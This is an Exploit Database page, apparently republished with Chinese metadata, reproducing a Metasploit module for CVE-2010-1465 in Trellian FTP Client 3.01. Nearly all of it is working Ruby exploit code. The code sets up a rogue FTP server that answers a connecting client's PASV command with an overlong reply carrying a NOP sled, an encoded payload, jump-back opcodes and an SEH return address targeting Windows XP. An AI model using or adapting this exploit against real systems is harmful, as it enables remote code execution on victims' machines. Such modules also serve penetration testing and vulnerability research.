Trellian FTP Client 3.01 – PASV Remote Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-06-15
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16710/

• ##
  # $Id: trellian_client_pasv.rb 9525 2010-06-15 07:18:08Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered
  				through an excessively long PASV message.
  			},
  			'Author' 	 =>
  				[
  					'zombiefx',# Original exploit author
  					'dookie' # MSF module author
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9525 $',
  			'References' =>
  				[
  					[ 'CVE', '2010-1465'],
  					[ 'OSVDB', '63812'],
  					[ 'URL', 'http://www.exploit-db.com/exploits/12152' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'=>
  				{
  					'Space'=> 900,
  					'BadChars' => "\x00\x29\x2c\x2e",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fdp/p/r in ftp.exe
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Apr 11 2010',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
  			], self.class)
  	end
  
  	def on_client_connect(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		# Let the client log in
  		client.get_once
  
  		user = "331 Please specify the password.\r\n"
  		client.put(user)
  
  		client.get_once
  		pass = "230 Login successful.\r\n"
  		client.put(pass)
  
  		# Handle the clients PWD command
  		client.get_once
  		pwd = "257 \"/\" is current directory.\r\n"
  		client.put(pwd)
  		client.get_once
  
  		sploit = "227 Entering Passive Mode ("
  		sploit << rand_text_alpha_upper(2171)
  		sploit << make_nops(100)
  		sploit << payload.encoded
  		sploit << make_nops(900 - (payload.encoded.length))
  		sploit << "\xe9\x18\xfc\xff\xff"# Jump back 1000 bytes
  		sploit << "\xeb\xf9\x90\x90"# Jump back 7 bytes
  		sploit << [target.ret].pack("A3")
  		sploit << ")\r\n"
  
  		client.put(sploit)
  
  	end
  
  end